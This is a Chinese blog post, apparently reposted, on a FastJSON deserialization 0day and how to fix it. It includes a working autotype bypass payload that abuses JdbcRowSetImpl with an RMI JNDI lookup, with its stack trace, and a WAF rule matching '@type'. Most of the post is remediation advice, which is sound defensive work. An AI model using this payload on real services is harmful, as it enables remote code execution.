博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
fastjason 0day 漏洞修复
阅读量:195 次
发布时间:2019-02-28

本文共 2687 字,大约阅读时间需要 8 分钟。

一、0day漏洞:

       通常是指软件版本,一个新的版本出来之后,随之而来的破解版本在24小时内即会出现。前段时间,阿里云云盾应急响应中心监测到FastJSON存在0day漏洞,攻击者可以利用该漏洞绕过黑名单策略进行远程代码执行。

 

二、DEMO:

public class DemoTest {    public static void main(String[] args) {        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}}";                JSON.parse(payload);    }}
com.alibaba
fastjson
1.2.28

程序执行信息:

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit

    at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:132)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:588)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:948)
    at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
    at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:371)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:520)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1335)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1301)
    at com.alibaba.fastjson.JSON.parse(JSON.java:148)
    at com.alibaba.fastjson.JSON.parse(JSON.java:139)
    at com.jason.seria.fastjason.DemoTest .main(Demo.java:10)
Caused by: java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:92)
    ... 11 more
Caused by: java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
    at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
    at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
    ... 16 more

 

三、漏洞修复:

       1、漏洞影响范围

                   FastJSON 1.2.48以下版本

       2、修复方案

                 方案一pom.xml中引用的版本升级: 

                 升级Fastjosn到1.2.76版本或更新版本;

                 方案二:开启safeMode=true,开启方式可参考如下:

                        1) 在JVM配置增加:-Dfastjson.parser.safeMode=true

                        2) 在fastjson.properties设置fastjson.parser.safeMode=true

                 方案三防火墙拦截:

                 WAF拦截Json请求中的多种编码形式的‘@type’,‘\u0040type’等字样;

                 方案四更换其它序列化方式:

                  建议尽可能使用Jackson或者Gson;

转载地址:http://flsn.baihongyu.com/

你可能感兴趣的文章